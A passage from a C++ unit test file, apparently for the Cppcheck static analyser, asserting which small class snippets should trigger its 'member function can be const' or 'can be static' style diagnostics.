c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n 